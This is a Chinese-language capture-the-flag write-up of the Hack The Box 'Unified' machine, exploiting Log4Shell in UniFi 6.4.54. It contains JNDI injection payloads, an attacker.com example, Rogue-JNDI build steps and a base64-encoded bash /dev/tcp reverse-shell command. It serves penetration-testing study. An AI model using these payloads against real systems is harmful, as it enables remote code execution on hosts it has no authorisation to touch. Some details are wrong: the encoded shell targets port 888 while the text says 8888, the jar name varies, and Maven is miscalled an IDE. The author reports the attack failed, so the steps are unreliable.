Hack-The-Box-Unified

Introduction

这篇博客探讨了利用 Log4J 漏洞攻击一个非常知名的网络设备监控系统——“UniFi” 的效果。通过利用 Log4J 漏洞,并篡改名为 remember 的 POST 头,来攻击 UniFi,从而获取该机器的反向 shell。

Write-up

nmap 扫描目标主机端口:

开放了四个端口,但是好像没得到别的有用信息。换个参数再详细扫描一次,发现两条有用信息:

nmap 尝试连接 8080 端口并获取页面标题,但它发现该 HTTP 服务进行了重定向。重定向的目标是 https://10.129.180.69:8443/manage,该页面标题是 UniFi Network。访问这个链接:

可以看到 UniFi 登录页面,版本号为 6.4.54。UniFi 是一个知名的网络设备监控系统。那么现在想到的第一件事久是谷歌搜索这个版本有没有被爆出来的漏洞。通过搜索关键词 UniFy 6.4.54 exploit,找到一篇文章:另一个着火的 Log4j:Unifi |链轮安全 — Another Log4j on the fire: Unifi | Sprocket Security,利用 Log4Shell 漏洞(CVE-2021-44228)实现对 UniFi 的攻击。

  • Log4J

    • Log4J 是一个流行的 Java 日志记录库,它被广泛用于 Java 应用程序中,用于生成日志输出。
    • 允许开发者在 Java 程序中记录运行时信息、错误、警告等。
    • 支持多种输出目标(如控制台、文件、数据库等)
    • 支持不同格式的输出,比如包括时间戳、日志级别、线程名等。
  • Log4Shell

    • 该漏洞允许攻击者通过恶意构造的日志消息触发远程代码执行(RCE)。
    • Log4J 的 lookup 功能支持 JNDI(Java Naming and Directory Interface)查找,它允许日志信息中的特定字符串动态替换。
    • 攻击者可以在日志消息中插入包含 JNDI 查找请求的恶意代码,如 ${jndi:ldap://attacker.com/malicious}
    • 由于 Log4J 不对 JNDI 查找请求做充分的验证,攻击者可以通过上述方式使得 Log4J 向恶意服务器发起请求,加载并执行远程的恶意代码。
    • 避免该漏洞的最佳方式是升级到 Log4J 2.16.0 或更高版本,以上版本已禁用 JNDI 查找功能。

首先抓个登录包:

前面那篇文章提到 payload 应该放在 remember 参数中:

${jndi:ldap://10.10.16.6/whatever}

# JNDI:通过调用该 API,应用程序可以定位资源和其他程序对象。资源是提供与系统(如数据库服务器和消息系统)连接的程序对象。

# LDAP:轻量级目录访问协议,默认运行在 389 端口。

由于 POST 数据是作为 JSON 对象发送的,但 payload 也有方括号 {} ,为了防止将其解析为另一个 JSON 对象,将其放在双引号内,以便将其解析为字符串:

点击发送之后,响应包显示 payload 无效:

尽管如此,payload 实际上正在执行。在端口 389 上启动 tcpdump ,它将监控 LDAP 连接的网络流量:

sudo tcpdump -i tun0 port 389

tcpdump 输出显示我们的机器上正在接收一个连接。这证明该应用程序确实容易受到攻击:

为了构建可以发送到服务器的 payload,并实现远程代码执行,我们必须在系统上安装 Open-JDK 和 Maven:

sudo apt update
sudo apt install openjdk-11-jdk -y
java -version
# Open-JDK 是 Java 开发工具包,用于构建 Java 应用程序。
sudo apt update
sudo apt-get install maven
mvn -v
# Maven 是一个集成开发环境 (IDE),用于创建结构化项目并将项目编译成 jar 文件.

安装所需的软件包后,需要下载并构建 Rogue-JNDI ,这是一个用于 JNDI 注入攻击的恶意 LDAP 服务:

git clone https://github.com/veracode-research/rogue-jndi 
cd rogue-jndi
mvn package

这将在 rogue-jndi/target/ 目录中创建一个 名为 RogueJndi-1-1.jar 的Java 应用程序。

构造一个实现反弹 shell 的 payload,为防止出现编码问题,对其进行 base64 编码:

echo 'bash -c bash -i >&/dev/tcp/10.10.16.6/8888 0>&1' | base64

接下来 启动 Rogue-JNDI 应用程序,并传递 payload:

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuNi84ODggMD4mMQo=
}|{base64,-d}|{bash,-i}" --hostname "10.10.16.6"

本地开启一个监听端口 8888。回到 BurpSuite 将 payload 改为

${jndi:ldap://10.10.16.6:1389/o=tomcat}

发送之后,rogue 服务器显示以下内容:

Sending LDAP ResourceRef result for o=tomcat with javax.el.ELProcessor payload

然后监听端口处应该成功获得目标主机的 shell ,但是我反复尝试多次均失败,于是放弃,了解了这个思路就好。

Conclusion

这个靶场复现失败了,但也是有收获的。以后在渗透过程中,要做好信息收集,目标是否存在已被爆出的漏洞也是重要的一部分。除此之外,也了解了 java 相关的一些知识。